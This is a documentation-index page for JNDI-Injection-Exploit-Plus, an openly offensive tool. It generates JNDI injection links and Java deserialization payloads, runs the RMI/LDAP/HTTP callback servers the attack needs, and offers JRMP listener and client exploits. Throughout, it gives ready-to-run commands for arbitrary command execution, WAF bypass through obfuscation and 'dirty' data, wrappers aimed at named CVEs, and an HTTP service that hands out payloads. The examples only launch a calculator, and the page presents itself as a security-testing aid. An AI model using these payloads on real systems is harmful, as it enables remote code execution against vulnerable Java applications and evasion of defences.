DOCSEARCHbyAlgolia
Submit Docs

JNDI-Injection-Exploit-Plus

repository·master·Indexed 21 days ago

https://github.com/cckuailong/jndi-injection-exploit-plus

A security testing tool for generating JNDI injection links and deserialization payloads. It includes built-in RMI, LDAP, and HTTP servers, supports over 50 gadget chains, and provides features for WAF bypass via Fusion class name hiding and data wrapping (e.g., Xstream, Apereo, JbossRemoting, Gzip). The tool also supports JRMP exploits through a dedicated Listener and Client.

Tokens
2.7K
Snippets
12
Records
13
Agent score
25%

What's inside JNDI-Injection-Exploit-Plus

  1. Overview of JNDI-Injection-Exploit-Plus

    master
    JNDI-Injection-Exploit-Plus is a security testing tool designed to generate workable JNDI links and provide background services (RMI, LDAP, and HTTP servers) to facilitate JNDI injection testing. It allows users to generate JNDI links that can be inserted into Proof-of-Concept (POC) payloads to test for vulnerabilities. Additionally, it functions similarly to ysoserial by generating deserialization payloads in Base64 or HEX formats and includes features to bypass WAFs via class name hiding (Fusion) and data wrapping.

  2. Use Deserialization Wrappers

    master

    The tool supports several wrappers to wrap deserialization data, which can help in testing specific vulnerability scenarios or bypassing security controls.

    Supported Wrappers:

    • Xstream: For CVE-2021-39149.
    • Apereo: For Apereo 4.1 Deserialization RCE.
    • JbossRemoting: For Jboss Remoting Port Unserialization.
    • Gzip: For interfaces using Gzip.
    • Dirty: Inserts dirty data to attempt WAF bypass.
    # Example using Xstream wrapper
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

  4. Generate JNDI Links

    master

    To generate JNDI links for testing JNDI injection vulnerabilities, run the JAR file with the -C flag to specify the command and the -A flag to specify your server address.

    Important Notes:

    • Ensure ports 1099 (RMI), 1389 (LDAP), and 8180 (HTTP) are available on your server.
    • Commands are passed to Runtime.getRuntime().exec(). If using bash commands like bash -c ..., you must wrap them in double quotes.
    • The default command is open /Applications/Calculator.app if -C is not provided.
    • The default address is the first network interface address if -A is not provided.
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

  5. Execute JRMP Exploits

    master

    The tool provides specific capabilities for JRMP (Java Remote Method Protocol) exploits, including a Listener and a Client.

    JRMPListener: Used to listen for connections. java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> <Gadget> <command>

    JRMPClient: Used to trigger a connection to a remote JRMP server. java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

    # JRMPListener example
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

# JRMPClient example
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

  6. Use JNDI-Injection-Exploit-Plus for JNDI Injection

    master

    JNDI-Injection-Exploit-Plus can be used to generate JNDI links and start backend services to exploit JNDI injection vulnerabilities. It supports three main types of exploitation:

    • Remote Reference chains (3 types)
    • Local Reference chains (4 types)
    • Deserialization chains (75 types)

    To use the tool for JNDI injection, specify the command to execute and the host IP address.

    Command Syntax:

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

    Arguments:

    • -C: The command to execute (Optional, default is open /Applications/Calculator.app).
    • -A: The IP address of the host running this tool (Optional, defaults to the first network interface address).

    Example: To execute a specific calculator path on IP 127.0.0.1:

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

    Triggering the injection (Java code example):

    class Test{
    public static void main(String[] args) throws Exception{
        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
    }
}
    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

  7. Generate Deserialization Payloads

    master

    The tool functions as a deserialization payload generator containing over 50 Gadget chains (more than ysoserial).

    Command Syntax:

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

    Arguments:

    • -C: The command to execute (Optional, default is open /Applications/Calculator.app).
    • -D: The name of the deserialization gadget chain to generate (refer to the GitHub repository list for names).
    • -O: Output format, either base64 or hex (Optional, default is hex).

    Example (Standard payload): To generate a Spring2 gadget payload in base64 format:

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

  8. Install JNDI-Injection-Exploit-Plus

    master

    You can obtain the tool using one of two methods:

    Method 1: Download Pre-built JAR

    Download the latest .jar file directly from the Releases page.

    Method 2: Build from Source

    Requires Java 1.8+ and Maven 3.x+.

    1. Clone the repository:
      git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    2. Navigate to the directory:
      cd JNDI-Injection-Exploit-Plus
    3. Build the project using Maven:
      mvn clean package -DskipTests

    Troubleshooting: If you encounter the error java.rmi.xxx does not exist, ensure you have set your JAVA_HOME environment variable correctly.

    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests

  9. Use Deserialization Wrappers and Obfuscation

    master

    To bypass WAFs or target specific vulnerabilities, you can use wrappers or obfuscation.

    Wrappers: Wrappers wrap the payload in a format compatible with specific vulnerable components:

    • Xstream: For CVE-2021-39149
    • Apereo: For Apereo 4.1 deserialization vulnerabilities
    • JbossRemoting: For Jboss Remoting service deserialization
    • Gzip: For Yonyou (用友) components using Gzip
    • Dirty: Inserts large amounts of 'dirty' data to bypass WAF detection

    Obfuscation: Use the -F flag to obfuscate class names to bypass WAF detection.

    Example (Using Xstream wrapper):

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

    Example (Using Obfuscation):

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

  10. Generate JRMP Payloads

    master

    The tool supports JRMP (Java Remote Method Protocol) exploitation.

    JRMPListener: Use this to listen for connections. Syntax:

    java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

    JRMPClient: Use this to generate a client payload that connects to a target. Syntax:

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

  11. Generate JNDI Links for Command Execution

    master

    To generate a JNDI link that, when looked up by a vulnerable application, executes a specific command, use the following command-line arguments:

    • -C <command>: The command to be executed (e.g., a path to an executable).
    • -A <address>: The IP address or hostname to bind to.

    Example Workflow

    1. Start the tool to generate a link (e.g., an RMI link):

      java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

    2. Inject the generated link (e.g., rmi://127.0.0.1:1099/remoteExploit8) into a vulnerable application. For example, using a Java InitialContext lookup:

      class Test{
    public static void main(String[] args) throws Exception{
        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
    }
}

    When the vulnerable code runs the lookup, the specified command will execute, and logs will appear in the tool's shell.

    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

  12. Use the Web Service to return Deserial Gadgets

    master

    The tool can run as a web service that provides deserialization gadgets via HTTP POST requests.

    Start the service:

    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

    API Endpoint: POST /deserial/{Gadget}

    Parameters:

    • cmd: The command to execute.
    • wrapper: (Optional) The wrapper to use (e.g., Xstream, Gzip).
    • output: (Optional) The output format (base64 or hex).
    # Example POST request structure
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}&output={base64/hex}